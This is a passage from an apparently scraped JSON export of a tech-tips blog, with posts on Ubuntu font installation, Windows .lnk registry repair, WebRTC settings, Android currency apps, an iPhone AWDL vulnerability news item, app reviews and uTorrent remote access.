done!\n Method 2of 3:\nAutomatically Install a Single Font  Download a TrueType font. (The file extension will be .ttf.) Unzip your file if necessary.\n  Double click on the downloaded file. This should open a font-viewer window.\n  Click Install Font in the lower right-hand corner. Congratulations! Your font has been installed.\n Method 3of 3:\nManually Install Multiple Fonts  Download TrueType fonts. (The file extension will be .ttf or .otf) Unzip your files if necessary.\n  Move your files to the ~/ Directory. The ~/ Directory is your home folder. This means that if you were logged in as cruddpuppet, the directory would be /home/cruddpuppet/ .\n  Go to Applications \u0026gt; Accessories \u0026gt; Terminal. This will take you to the terminal.\n  Type 'cd /usr/local/share/fonts/truetype' without quotes into the command line. This is a directory for user-added fonts in linux.\n  Type 'sudo mkdir myfonts' without quotes. This will make a directory called 'myfonts' in which to store your fonts. If you're not logged in as root, you will be prompted to provide your password.\n  Type 'cd myfonts' without quotes. This moves you into the new directory.\n  Type 'sudo cp ~/fontname.ttf .' without quotes. This moves the TrueType fonts into your new directory. (Alternatively, type 'sudo cp ~/*.ttf .'; the * acts as a wildcard, allowing you to move all your fonts from the ~/ Directory at once.)\n  Type 'sudo chown root fontname.ttf'(or *.ttf) to change file owner to the root.\n  Type 'cd ..' and then 'fc-cache' without quotes to add newly-added fonts to system-wide font index, so all applications can see them.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6utlanGsbGMn6anrKNivK951Jusp6yl\n","link":"/post/how-to-install-truetype-fonts-on-ubuntu/","section":"post","tags":null,"title":"How to Install TrueType Fonts on Ubuntu"},{"body":" LNK is a file extension for a shortcut file used by the Microsoft Windows operating system. It usually offers a direct link to an executable or EXE file, without having to navigate to it. Sometimes, a Windows Registry error can end up...\nMethod 1of 4:\nRunning a Registry Fix for Windows  Download the Registry fix for Windows. Usually, .lnk extensions fail to work properly due to a failed Windows Update, missing files or files corrupted by malware. You can download and run .lnk file association fixes to solve this problem. For Windows 8, Windows 8.1 and Windows 10, download File Association Fixer v2. This tool also supports Windows 7 and both 32-bit and 64-bit. Choose the right .exe file for your computer and proceed ahead. For Windows 7 and Vista, you can either download the .zip file, or directly download the .lnk File Association Fix. Download .lnk File Association Fix for Windows XP. The link will automatically download the registry fix to solve the problem.   Run the Registry fix. Once you download the Registry fix, double-click on it. This will automatically run the fix. If you downloaded the .zip file, you will first have to unzip it. Save its contents to a location on your computer and then click on it.   Download the .lnk file repair toolfrom Tweaking.com. This is an alternate registry fix tool, which is available free of charge. This tool supports all versions of the Windows operating system. Double-click the file to open it. Click the Start button. This will automatically run the tool.   Wait till the process is completed. Wait a while to allow the prompt from the Registry Editor.\n  Restart your PC. Restarting your computer will save the changes you made to the Registry. Click on the 'Start' button. From the 'Shut down' tab, choose the 'Restart' option. This will automatically restart your computer.  Method 3of 4:\nScanning Your PC for Malware  Download the latest version of Malwarebytes' Anti-Malware. In some cases, a .lnk file extension problem can be caused by a computer virus. Anti-Malware is one of the most popular anti-malware programs available online. This software can easily detect and remove malicious programs from your computer.\n  Double-click on the mbam-setup file. This will install the software onto your PC.\n  Setup the Software. Follow the onscreen prompts to continue with the setup process. Remember not to change any of the default settings. Once the software has been installed, make sure that you tick both the 'Update Malwarebytes' Anti-Malware' and 'Launch Malwarebytes' Anti-Malware' checkboxes.   Click Finish. This will finish the installation process.\n Do not restart the computer. If you are prompted to reboot your system, do not do so.\n  Select \"Malwarebytes free\" to avoid paying for the service. Once Anti-Malware starts, you will be prompted to sign up for a trial period of their paid services.. Click 'free' if you only wish to use the on-demand scanner.\n  Run the Anti-Malware scan. On the Scanner tab, select 'Perform quick scan'.\n  Click the 'Scan' button. This will start scanning your computer for malicious files. Once the scan is finished, a message box will appear, indicating the same.\n  Click OK. This will bring up a list displaying the list of malware infections that the software detected on your computer.\n  Remove the infections. Check all the boxes to select all the corrupted files. Then click on the 'Remove Selected' button. Anti-Malware will now start removing all the malware.\n  Restart your PC in Normal mode. Once the scan is done, Anti-Malware will prompt you to restart your computer. Accept this prompt and reboot your PC as usual. This will put your changes into effect.\n Method 4of 4:\nManually Fixing the Registry  Click Start. You can fix the problem either by restoring the registry key from another computer, or by manually replacing it on your own computer. To manually edit your registry, do the following: Note that Windows 8 does not support the Start Menu feature. Here are tips on restoring the Start button in your Windows 8 PC.   Type 'Regedt32.exe' into the search box. This will bring up a list of files in the search menu.\n  Click on executable file. This will open the file. Alternatively, right-click the program and then click 'Open'.\n  Start the Registry Editor. Click Yes to start working with the registry editor.\n  Go to the subkey, HKEY_CLASSES_ROOT.lnk. Find the root file first. The .lnk folder will be listed under it.\n  Edit the existing file. Go to the Edit Menu. To edit your registry via a different computer, click on the Edit menu. Locate the .lnk file. Then click Delete. This will remove it. Save your changes. Click the Registry menu. Hit the Save key to save your changes. Copy the file onto a disk. Once you are done saving the changes, copy this entire file onto a disk or pen drive. On your computer, recreate the registry key. Go to HKEY_CLASSES_ROOT, following the above-mentioned steps on your computer.   Click Add Key.\n  Name the new key. Now type '.lnk' (without quotation marks) as the key name. Make sure to leave the Class box blank.\n  Edit the Add Value box. On the Edit menu, click Add Value. Leave the Value Name box blank.\n  Type 'command' (without quotation marks).\n  In the Data Type list, click REG_SZ.\n  In the String Editor box, type 'lnkfile' (without quotation marks).\n  Click OK.\n  Type 'ShellNew' (without quotation marks). On the Edit menu, click Add Key. Then type 'ShellNew'. Make sure to leave the Class box empty.   Click REG_SZ in the Data name box.\n  Type 'RunDLL32 AppWiz.Cpl,NewLinkHere %1' (without quotation marks) as the string value.\n  Restore the registry. Select the new key. Click Restore from the Registry. Then select the file that you saved on your disk or pen drive.\n  Restart your computer. Press the 'X' button on your Registry Editor. You will quit the program. Then reboot your computer to put your changes into effect.\n  Test your changes. Test a program menu or shortcut. If it works properly, your changes have been made successfully.\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqufocOmedOhnGaknqB6p7XLnmSesKSau7S1zqdkqaqfl7mmuYyipWavmaOxsMPS\n","link":"/post/how-to-solve-the-lnk-file-extension-problem-in-windows/","section":"post","tags":null,"title":"How to Solve the Lnk File Extension Problem in Windows"},{"body":"  This sudden rise in content sharing and content consumption has paved the way for a lot of professions like Fashion Blogging, YouTube Influencers and content creators, Instagram Influencers, Vloggers, etc. A recent study depicted that over 44% of internet users watch Vlogs every month and in a single day, close to 5 billion YouTube videos are watched, worldwide.\nHence, the constant need to improve the content and make it flawless has increased and the demand has given rise to one of the most important video formats of this decade – High Definition or 4K Videography. Who does not like watching 4K or HD Videos on the internet?\nGet Reliable 4K Video Editor When you see a typical fight scene in the movie and you get to see the sweat dripping off the face of the antagonist in a close-up shot, it is an eternal joy to fall in love with the graphics, right!\nIt may seem that creating these videos and uploading these videos are very easy. However, what you see online is like a tip of the iceberg and there is a lot of pain attached to getting them perfect for a swift upload.No matter how skilled you are as a videographer, or how expensive your equipment is, editing requires a lot of man-hours and a whole lot of effort. Every minute detail requires refinement which is not a task of a few seconds but hardcore labor.\nAlthough there is a lot of software, which helps you in achieving the optimal result of doing an awesome job when it comes to editing, still VideoProc is by far one of the best editing software, which you can lay your hands on.\n  Why isVideoProc Recommend for Video Editing? It is very simple, no other software can provide results as good and as fast as VideoProc, and what they claim of providing 47x real-time processing speedis actually true. All these video editing software applications use something, which is called Hardware Acceleration.\nWhat's hardware acceleration? It is the ability of any video processing software to use the core strength of graphic processors and the CPU to render videos and help in its conversion. Although every software uses hardware acceleration to provide you with video editing, still VideoProc is the only software in the market that provides full hardware acceleration.\nIn layman's terms, its hardware acceleration is supported during video encoding, decoding as well as video processing. This process is quite rare and is still not present in any other software, and it is a tried and tested affair.\nIs full hardware acceleration necessary? Does your laptop heat up a lot while editing videos? If yes, then your software is not full hardware acceleration enabled. With VideoProc, the chances of your laptop heating are quite less and it also gives an added advantage of faster and better editing than other software applications.\nMost of these softwares can either use CPU or GPU, that too, not to its optimum capacity, and hence, at times, the videos usually turn out sloppier, and re-editing is required.\nAll these are distant troubles if you are using VideoProc as the software is highly refined and the editing is always easy and never troublesome. It has already achieved full hardware acceleration!\n  What are the various supported GPUs? If you are thinking that such an advanced software application will also require modern and advanced hardware, then you are terribly wrong. With VideoProc, you can simply use an old PC or even a 6-year-old Mac.\n  VideoProc gives the ability to easily access the hardware and instantly access the hardware acceleration feature to find out what would be the optimum level of hardware acceleration, which can be achieved by the software from this computer. Some of the trusted GPUs on which it can work easily are:\n  If your system has these GPUs or higher, then you can surely achieve hardware acceleration and do not worry, the system will not keep on crashing or freezing.\nEasy Video Editor \u0026amp; Converter When all the features and USPs are covered, the most important thought comes to mind – the software application has to be complicated and the user interface may not be very easy. Well, in all honesty, VideoProc is one of the easiest software applications, one could come across.\nIt is a highly balanced software if you have just started your video editing career. The basic options to add effect/watermark/subtitle to the video or cut, crop and rotate videos, followed by exporting the raw file, or even compressing, it is all covered with a click of the button.\n  However, if you are an advanced editor, the advanced toolbox will appeal to your taste and you can easily deshake, denoise, merge, trim, split videosor export still picture / subtitle from the video at will. It also supports converting a wide range of formats like 4K video, Ultra HDvideo, DVD, music, etc. As an end to end solution, all come under one mother hub, only!\n  Conclusion If you are looking to save a lot on your pocket, then this is the software, which you should actually go for. A VideoProclifetime license for a single PC will cost you $42.95 as it is on discount for the sale.\nIt is absolutely worth it as other software applications, in this sector from Adobe Premiere Pro to a Final Cut Pro X usually range between $50 to $70, that too for a monthly subscription. Hence, if you want the best at an affordable range, then VideoProc is definitely the application, which you should shell out your hard-earned money for!\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqiipLCmv9Jmmqimppq%2FtXnAp5tmnZSewW6AymatopyVpMBussCsq2avmam1bsLInZyoqKKksA%3D%3D\n","link":"/post/process-convert-and-edit-4k-videos-fast-with-videoproc/","section":"post","tags":null,"title":"Process, Convert and Edit 4K Videos Fast with VideoProc"},{"body":"Developed by the famous game company BANDAI NAMCO Entertainment , Billion Road provides a great experience for players who love strategy games, want to enjoy the feeling of being a 'rich kid' in the legend. If you are looking for a cute and fun game but the gameplay is extremely simple, then welcome to the colorful world of Billion Road.\n  Funny flowers, colorful BANDAI NAMCO Entertainment is partly thanks to the production of Japanese Anime-Chibi graphics. That's why Billion Road is also made up of fun, colorful cartoon manga graphics.\nObjectively speaking, the game does not really have beautiful, meticulous strokes, the character details in Billion Road are only acceptable. In return, all animations are built quite lovely, fun. The Japanese city map of Billion Road is filled with cheerful colors for comfort and comfort.\n This corner of the street where we met .\nCharacters in Billion Road are quite innocent, funny with colorful hair and costumes. Players can also change the hairstyle or clothes, shoes for the character of their choice. Even can change the facial expressions of the character such as fun, anger, shame, surprise. . quite lovely.\nThe map of Billion Road simulates the modern streets of beautiful Japan with traditional sushi restaurants, grocery stores, souvenir shops, . and even extremely worthwhile farming and breeding farms. to love. Players can immerse themselves in the colorful world, feel like they are walking around the real Japan.\nGentle sound, happy ears Most Board games are not too invested in terms of sound and Billion Road is no exception. Music in the game is not too thorough, thorough but only at a good level. Judging objectively, the music of Billion Road is not too impressive but really pleasant.\n Review Itta: Shooting is simple but not easy Itta is a simple but challenging shooting game, accompanied by a beautiful graphical background that brings an interesting experience to the player.\nPlaying too many PK fighting games often gets hit by high frequencies from bass or treble, so with Billion Road, I feel the music in the game brings comfort. Soothing background music brings a sense of fun, relaxation, sound effects are also made in moderation, not too jarring. For those who are looking for a game with good music system, Billion Road is not appreciated, but for a simple entertainment game, Billion Road really designed good sound.\nThe enrichment experience is not difficult The gameplay of Billion Road is very easy to get acquainted with, the gameplay mechanism is inspired by Monopoly, also known as the billionaire chess. However, instead of using a circular map with fictional locations like the billionaire flag, the Billion Road map is a mini version of Japanese streets. Billion Road is a simple entertainment game so it does not have a deep story. Players will play a role as a young investor, travel around Japan, meet rivals, buy and sell businesses and make as much money as possible.\nIn the beginning of the game, the player will be guided through 2 characters in the role of two game show hosts. They will choose the province / city you will be visiting and investing. Billion Road allows you to play with your friends and even play with machines.\n The two hosts are hilarious, lovely\u0026nbsp;\nPlayers can also choose the virtual time of a match. Average virtual time will be 3 years or more (equivalent to more than 30 minutes), the longer the time, the greater the ability to invest in profits. As time goes by, some random events will occur to add interest to the game such as the New Year Event. These small events don't really affect the game much, they usually just give the player a random bonus.\nEvery time you visit a province, you will receive a Mission that is to move to the destination (usually a designated place or store). The dice corresponds to the number of moves received on the map. However, a big minus point is that the game does not have a general map for players to find the destination on either side or exactly where. With a game moving on the map but difficult to determine the direction to the destination, it is indeed offensive.\n  Each jump will fall to a cell containing its own attribute. Players will receive money if they land at the prize-spinning destination with a Plus sign and will be charged money if they miss the dice on the minus sign. With destinations such as landmarks, such as sushi restaurants in Ginza or Akihabara stores, players can choose to invest, buy real estate. Real estate will bring interest, players can receive interest after a period of time.\n Investing in any type of business is a difficult problem\nDuring the game, gamers will get items that bring convenience to themselves through the boxes containing Gift Box. Gift Box contains convenient cards such as: Dice Card that helps players move according to the number of optional steps, Summoner Card helps open up Summoned Beasts to support attack, defense, .\nThe interesting point of Billion Road is that you will not have to fight alone, but you can bring a bunch of summoned beasts, like it is like the Japanese gangster brother leading the students. Summoned Beasts can be obtained via Gift Box or Summoned Beast boxes on the map. Gamers can select up to three summoned beasts to follow. Each summoned beast has its own interesting attributes such as: Bluebeary - the summoned beast that allows the bonus to increase, Magnetaze - the summoned beast, which allows you to steal an enemy's summoned beast, . There are more than 50 other summoned beasts. each, and each has a unique personality and an interesting set of unique skills waiting for you to discover.\n Summoned beasts may look cute or . worth fighting\nIf the dice are mostly waiting on luck, the summoned beast is the key for the chance to win because you are given the right to choose the appropriate disciple to attack and defend in each round. This can be said to be the most important point in the strategy because using summoned beasts with the right attribute to make more money, attacking opponents or defending will bring victory faster.\nAnother interesting thing is that on the map of Billion Road, there are also ranked summoned beasts scattered everywhere.When moving on the map, if unfortunately 'my attention has struck her eyes' These summoned beasts will join your squad, follow you. That's why the trick for you guys to play this game is not to rush to the finish line, but you can take the path to the next path to pick up a favorite summoned beast.\nThe most important event occurring in Billion Road is the appearance of a monster named Nemesis, a monster that aggressively attacks the beautiful city and destroys all buildings on its way. Players will have the opportunity to destroy Nemesis through three rounds of play, before Nemesis goes crazy and begins to wreak havoc. Nemesis is quite fierce and will only be defeated when it receives a large amount of damage, meaning that players will have to join forces to save the city.\n Feel the wrath of Nemesis\nOf course, Billion Road possesses the same play as the billionaire, so the goal of victory is still to make as much money as possible. The destination of each map is simply a bonus, and sometimes a summoned beast gives the player additional rewards. If you reach the finish line then you don't have to worry about losing, but if you are too slow to get too far to your destination, you risk being cursed by a monster. It will keep following money, items, and monsters from you until you can find a way out of it.\nConclusion Billion Road has a lot of potential to become a game that attracts players. The game has eye-catching graphics, fun, the music is also quite good. The game size is also quite good, only about 2500 MB, so the animation effects of the characters such as dice, moving on the map are also quite smooth, without lag. Another plus point is that Billion Road has a multi-player game mode, allowing gamers to invite friends to play with, shoulder to shoulder fighting with others.\nBillion Road is just a light entertainment game, hard to be a blockbuster because the game does not have many modes, quite monotonous, the features in the game are not really impressive. Temporarily it is not confirmed whether the manufacturer has more features to attract more players but currently, if you want to search for a simple game, kill good time during the Tet holiday 2020 to 30 / 4, Billion Road is not a bad choice. Try downloading the game and experience the rich kid feeling, having a few hundred million yen in a single note with Billion Road.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZpqZobmqu81mqaiZlGKyubzEq6CeppOaerW0xGaeopmeqXqrrc%2BapZ6rlWLAtb7Enqs%3D\n","link":"/post/review-billion-road-experience-the-giant-japanese-street/","section":"post","tags":null,"title":"Review: Billion Road - Experience the giant Japanese street"},{"body":"Regularly interested in foreign exchange rates, buying and selling daily, the addition of a currency conversion application on the phone is really necessary. With only a small application, you will easily refer to the exchange rate and make foreign currency exchange for Vietnamese currency anytime, anywhere.\nToday, Network Administrator will suggest you free currency conversion applications for devices running Google's Android operating system. These are all tools that receive high appreciation from users such as simple interface, easy to use, fast currency conversion on the phone, constantly updating fluctuations in exchange rates. . and lots of other attractive smart features.\nSome ways to convert foreign exchange rates with Google The best \"cash out\" apps on Android Things to know about Western Union money transfer service 1. XE Currency Converter   \nIf you need a high-precision conversion application, XE Currency Converter is a good suggestion. Considered as one of the best currency converter apps in the app store, the XE Currency has an intuitive, user-friendly interface and has many powerful features that allow you to compare the value of copper. This money with other currencies is easy.\nIn addition to the currency exchange feature, XE Currency also saves the last updated rates, displays comparison charts, and very specific periodic exchange rate fluctuations for you to monitor as needed. You can refer to how to use XE Currency in Android Currency Exchange tutorial to learn how to use this utility.\nDownload XE Currency Converter for Android 2. Flip - Currency FX   \nFlip - Currency FX is one of the free currency conversion applications used by many people on the Android platform. Its biggest advantage is its simple, easy-to-use interface, especially Flip - Currency FX has the ability to switch between 160 different currencies, popular all over the world, including some Virtual money like Bitcoin, Litecoin and Dogecoin.\nWith Flip - Currency FX currency conversion application, you can also monitor the currency variation, the exchange rate will be updated every 15 minutes and automatically saved every time you activate the application. Thus, you will be able to view the chart quickly, even if there is no connection to the Internet.\nDownload Flip - Currency FX for Android 3. Pockets Tools Currency Converter   \nSimilar to the currency conversion applications for Android above, the Pockets Tools Currency Converter application also has the ability to convert currencies accurately and quickly. Another plus for this tool is to list users a list of hot, emerging news, related to market changes at the time. And you can consider carefully before making your next choices.\nDownload the Pockets Tools Currency Converter for Android 4. Currency Converter Finanzen100   \nFinanzen100 Currency Converter continues to be a free currency converter application for devices running the Android operating system. Using this application you are allowed to convert currency into 150 different units. And yet, the application also provides you with a small computer to calculate quickly when needed very convenient.\nDownload the Finanzen100 Currency Converter for Android 5. Xelnaga Exchanger   \nCurrency converter with Xelnaga Exchanger you can use both online mode and offline mode with about 180 coins of many different countries. In addition, the application also supports a keyboard that helps you calculate in situations where you are wondering whether you should change to a currency, what interest rate.\nDownload Xelnaga Exchanger for Android 6. Currency   \nAdd an application to convert currencies on Android phones quickly, continuously update the exchange rate fluctuations and easily use with everyone that is Currency. The application is compatible with most devices running Google's Android operating system. Overall, this is a great app for those who are traveling due to its usability.\nDownload Currency for Android Above are the application to change money on Android phones, you can choose for yourself the most favorite application to convert the exchange rate of domestic and foreign currency.\nSee more:\nHow to transfer money via Apple Pay Cash iMessage on iPhone Convenient currency conversion feature on Opera, did you know? How to use PolyTime - the best time zone conversion application ncG1vNJzZmismaXArq3KnmWcp51kwamxjJysq6qVo7C6ecKopa%2Bdoqmys3nAqaeloZOWwaq7zWamp2WRo7Gzu8id\n","link":"/post/the-currency-converter-application-on-android/","section":"post","tags":null,"title":"The currency converter application on Android"},{"body":"If you've ever seen hacker movies, you should be familiar with the scene where a hacker can instantly take control of someone's device without touching them.\nOf course, that is just a fictional detail that makes the film more engaging and dramatic. However, in a recent discovery, details that seem only in this movie can completely happen in reality.\n  Security researcher Ian Beer. (Photo: The CyberWire)\nAccording to The Verge, Ian Beer - a security researcher at Google Project Zero, has just revealed that, as of May 2020, a lot of iOS devices, including the iPhone, have a dangerous vulnerability.\nHackers can exploit this vulnerability to restart or take full control of a remote iOS device, including reading email or other messages on it; upload photos from victim's device; ability to eavesdrop on conversations through the phone's microphone, as well as peek through the camera on the iPhone.\n  (Artwork: iLounge)\nAccording to Beer, the vulnerability stems from a protocol called Apple Wireless Direct Link (abbreviation: AWDL) found on iPhones, iPads, Macs as well as Apple Watch.\nIn particular, the AWDL protocol is used to create a \"Network Connection Model\", supporting features such as AirDrop - allowing device owners to share photos or files to other iOS devices, or SideBar - Turn your iPad into a second monitor quickly.\n  (Artwork: Jaap Arriens / NurPhoto / Getty Images)\nThe source said, security researcher Ian Beer not only figured out how to exploit the vulnerability, but he also figured out how to turn on AWDL even when the connection was disabled.\nAccording to Ian Beer, \"there is no evidence that this vulnerability has been exploited in real life\", admitting that it took him 6 months to detect, validate and prove the vulnerability.\n  (Artwork: Free Images)\nThe security researcher further revealed that this vulnerability was fixed in May 2020 on the iOS 13.5 update.\nApple also does not deny the existence of this vulnerability. Apple did mention it in May 2020 security updates, according to The Verge.\n  (Artwork: Tomohiro Ohsumi / Getty Images)\nAccording to Apple, most iOS users are using newer versions of iOS, which have already been fixed. In addition, hackers also need to be within Wi-Fi to be able to exploit this vulnerability.\nhack iPhone iPhone ncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnK2insG6eceoo55lkaG5sMPSZp%2Bam5uav7R506hkoZmToHqqvMeopZ5lopq6sMDEpbBmraCZrrWxjKKmrGWepMQ%3D\n","link":"/post/the-security-hole-allows-hackers-to-hack-iphone-remotely-update-ios-now/","section":"post","tags":null,"title":"The security hole allows hackers to hack iPhone remotely, update iOS now"},{"body":"1. What is WebRTC? WebRTC makes it easier for people to communicate between browsers without installing additional software. WebRTC allows you to chat, meet online or share files with others.\nHowever, WebRTC can also expose a device's local and public Internet address, even if you choose to hide the device's location by using a virtual private network (VPN). This phenomenon is collectively known as a WebRTC leak, as it exposes the user's personal information. Once an advertiser or web host knows a device's public Internet address, they can determine the region, city, and Internet service provider associated with that address.\nIf you don't need WebRTC, you may want to disable or restrict it in your browser. You can prevent a WebRTC leak in many modern browsers.\n2. How to disable WebRTC in Firefox Of all modern browsers, Firefox is the only one that allows you to completely disable WebRTC.\nStep 1. Open Firefox, then type about: config where you would normally enter your web address and press Enter (or, on some other system, Return ).\nStep 2. Click the I accept the risk button ! This gives you access to many Firefox configuration settings.\nStep 3. In the search box at the top, type peer and press Enter.\nStep 4. Double-click the media.peerconnection.enabled row . The row will display in bold, and the value will change to false , which indicates that peer connections are currently disabled.\n  Step 5. In the search box at the top, type media.navigator and press Enter.\nStep 6. Double-click media.navigator.enabled row . The row will display in bold, and the value will change to false , indicating that device navigation is now disabled.\n  WebRTC will no longer work in Firefox on your device.\n3. How to block WebRTC in Chrome, Firefox and Opera You can block WebRTC with a browser extension, WebRTC Control. This extension is available to install in Chrome, Firefox and Opera.\nStep 1. Open your browser and go to link here\u0026nbsp;.\nStep 2. Select an icon for your browser (eg Chrome, Firefox or Opera).\nStep 3. You should now be on the WebRTC Control extension page for your browser. Click Add to Chrome, Add to Firefox or Add to Opera to add the corresponding extension to Chrome, Firefox or Opera.\nStep 4. A prompt will be displayed for you to allow the extension to access data for all websites, as well as read and modify the privacy settings. Select Add (or Add extension ) if you agree.\nStep 5. If you use Firefox or Opera, you may also need to click OK one more time, once the extension has been installed.\nStep 6. The icon of the extension is displayed in the upper right part of the browser.\n  Step 7. When the circle is blue, WebRTC leak protection is enabled. Select the extension for state transitions.\n4. How to block WebRTC in the new version of Microsoft Edge Newer versions of Edge include a security feature that blocks local IP addresses over WebRTC. It's simple to activate and protect from most leaks without an extension.\nStep 1. Open Edge.\nStep 2. Type about: flags in the address bar and press Enter.\nStep 3. Scroll down to find the Hide my local IP address over WebRTC connections option . Put a check mark in the box next to it.\nStep 4. A message will appear asking you to restart your browser. Close Edge and reopen it. Rerun the browser leak test to make sure WebRTC is no longer leaking your IP.\nBlock WebRTC on Microsoft Edge with extensions The new version of Microsoft Edge also supports Chrome extensions. Like Chrome, Firefox and Opera, the new version of Microsoft Edge is based on the open source Chromium code, which is why extensions work with all of them.\nStep 1. Open a new version of Microsoft Edge and go to link here.\nStep 2. Select the icon for Chrome, even if you are using the new version of Microsoft Edge.\nStep 3. The prompt 'You can now add extensions from the Chrome Web Store to Microsoft Edge' will appear. Click Allow extensions from other stores .\nStep 4. The system will display a message that the extensions from other stores have not been verified. Click Allow.\nStep 5. Select Add to Chrome .\nStep 6. A prompt will be displayed for you to allow the extension to access data for all websites, as well as read and modify privacy settings. Select Add extension , if you agree.\nStep 7. The icon of the extension will appear in the upper right part of the browser. By default, the extension will be enabled and active after you install it.\nWebRTC disable WebRTC ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnmq%2BzwMJmn6ivXam8brDIrJibpJVixKau0a2a\n","link":"/post/what-is-webrtc-how-to-disable-webrtc/","section":"post","tags":null,"title":"What is WebRTC, How to disable WebRTC"},{"body":"Many people despite using Macbook but do not know that Apple also has for themselves a suite of office applications for iOS and macOS is also quite effective is iWork.\nHere are 5 reasons why users of Mac, MacBook or iPad and iPhone computers should switch to iWork.\n1. iWork is completely free\nPreviously, iWork was sold by Apple for $ 19.99 (macOS) and $ 9.99 (iOS) but now anyone can download the app for free.\n  iWork also includes applications that allow viewing and editing text files, spreadsheets and presentations like Word, Exel or PowerPoint.\n2. Simple and easy to use interface\n  \niWork inherits the design quintessence from Apple, so it has a very neat interface, all the confusing and less-used options are removed. The top of the page window only has enough menus for most office tasks: Insert, Table, Chart, Text, Shape, Media and Comment.\n3. Integrated iCloud \u0026amp; mobile phone\n  \nThe mobile version of iWork apps is provided free of charge on iDevice devices to help users quickly and easily back up office documents to iCloud. From there, users can work from any computer, iPhone device connected to the Internet or not iDevice, you can access it via iCloud.com.\n4. Support team work and document sharing on iWork\niWork can support real-time access and editing of documents between many people via iCloud on devices upgraded to Mac OS Sierra operating systems. This is similar to on Google Drive, you can easily work on a document with many others.\n5. iWork is compatible with Microsoft Office\n  \nIWork application is compatible with any MS Office file. IWork users can open, edit and save files in standard office formats. You can even save files in DOC, DOCX, XLS, XLSX, PPT, PPTX or even PDF, CSV and HTML files.\nSee more:\n7 good choices replace Microsoft Office How to choose the appropriate Office online? Invite the application of iMovie, Numbers, Keynotes, Pages, GarageBand free for macOS, iOS ncG1vNJzZmismaXArq3KnmWcp51kgm6%2BxJqqqKajYranrc1mqqGnpaGxbsHSnmSir5%2BnuG6tz6mjnqtdpLOntcKeZJqooKG2pK3ToqanZZOkua2xwq2gqKY%3D\n","link":"/post/5-reasons-ifan-should-use-iwork-apple-s-office-application-collection/","section":"post","tags":null,"title":"5 reasons iFan should use iWork, Apple's office application collection"},{"body":"Apple has brought their new iCloud application to Microsoft Store for Windows 10 devices. This application will be deeply integrated into the Windows 10 platform and provide the ability to allow users to access iCloud files from within itself. other Windows applications.\nOverall, Apple iCloud application is similar to the online desktop version currently available, but it will provide a new iCloud experience for users on Windows 10. So, Microsoft and Apple once again more successful cooperation to bring an iOS original application to Microsoft Store. In a blog post, giant Redmond announced that the new iCloud application will allow Apple users to store and access their content in a way that is completely synchronized on both Microsoft devices and Apple. .\nTop iOS apps are free, discounted   When starting the application, users will be asked what kind of content they want to integrate with Windows 10, as shown below.\n  Configuring the application\nTop iOS apps are free, discounted After you have successfully configured the application, you can access various features by clicking on the taskbar icon (Taskbar). Then a list of integrated features will appear. Here, you can select the feature you want to use as shown below.\n  Select the feature you want to use\nApple added many new features to Apple Maps in iOS 13, resolving its market share from Google Maps Besides, Microsoft also revealed that the new iCloud Drive experience uses the same technology as the feature Files On-Demand appears on OneDrive. This means that iCloud users will be able to temporarily download and use files from Apple's online storage service.\nYou can also view and edit files directly on your Windows 10 device without saving them to local memory.\nIn short, features will appear in the new iCloud application for Windows including:\nThe new iCloud application allows you to access iCloud Drive files right from File Explorer and you will not have to save these files to local memory. Select the files and folders you want to keep on your PC. You can store all your files in iCloud Drive and access them from Apple devices or other iCloud apps. Share any file right from File Explorer and easily work with other users - any edits will be synced on your devices. You can download and install this useful application from Microsoft Store.\n  iCloud for windows 10 is now available for download on Microsoft Store\nSearch and activate hidden features in Windows 10 with Mach2 tool ncG1vNJzZmismaXArq3KnmWcp51krrG8y56qZqaVrHqqr8uorJ1lp567pbvWrGRqaF2WvbG4yJyYraGfo3qqv4ynprBlkauuqrjAm6OeZZmjeq6%2FjKyrqKqV\n","link":"/post/apple-s-new-icloud-windows-10-application-is-now-available-in-ms-store/","section":"post","tags":null,"title":"Apple's new iCloud Windows 10 application is now available in MS Store"},{"body":"In addition to the unique cover, the new models of Asus have strong configuration with Core i5 chips, Nvidia discrete cards or WiDi wireless video playback technology .\n  Asus U-Bamboo series. Photo: Engadget .\nAlthough it started appearing 3 years ago, it was not until a few weeks ago when upgrading with a strong configuration and a more affordable price, the laptop made of Asus bamboo shell really reached the market.\nTwo models U43JC 14-inch screen and U30Jc 13-inch screen with a price of only 999 USD with configuration including Intel Core i5-450M processor, GeForce 310M graphics card and conversion technology with integrated Nvidia graphics chip Optimus helps save energy, hard drive up to 640GB capacity.\nThe U43F 14-inch models have a slightly lower price, 950 USD. This model also uses Intel Core i5 processor, but instead of Nvidia's discrete card is Intel's graphics chip and WiDi wireless high-definition video playback technology.\nncG1vNJzZmismaXArq3KnmWcp51krrTB0majmqikpL1uv8eeo6Vlp57BqXnBmqSbp59isLC%2F06xkn6qfonp6gY9mrKyc\n","link":"/post/asus-laptop-shell-with-bamboo-costs-from-950-usd/","section":"post","tags":null,"title":"Asus laptop shell with bamboo costs from 950 USD"},{"body":"TipsMake.com - The use and control of uTorrent applications on computers has become familiar and simple for most of us users. But if in any case, we can't be at the computer and do those things, how to do it? In the following article, we will show you some simple steps to set up uTorrent remote monitoring via mobile phone.\nBefore proceeding, we need to prepare some components to meet the requirements:\nThe latest version of uTorrent, Transmission application is also available but some setup steps will be different from uTorrent .\n- At least 1 port - Port on the firewall in Open mode.\n- 1 smartphone device ( iPhone or Android ).\n Set up uTorrent for remote access to uTorrent Remote: In fact, there are 2 ways for us to do this, using uTorrent Remote and uTorrent Web GUI . Different people's choices depend largely on which device they use to access the main control interface and functions. To perform this process, please refer to the article about coding instructions and 'hide' BitTorrent traffic data. We can easily see that the easiest way to enable uTorrent 's remote control feature is to take advantage of the uTorrent Remote mode. Announced last year, uTorrent Remote service, with its main function, is to connect uTorrent 's client application system to uTorrent.com , whereby users can log in directly via the uTorrent website.\nThe advantage of this update process is quite easy to configure, can work well on many smartphone devices with the latest browser version, simple interface, easy to use. Since Apple 'prohibits' the presence of BitTorrent applications in the App Store , this will be the only way for iPhone users to access the mobile client application on the non-jailbroken device. The downside of this process is to use a proxy to navigate information, encrypt and hide BitTorrent traffic, which can directly affect the uTorrent Remote system and users will receive a ' Not Accessible ' 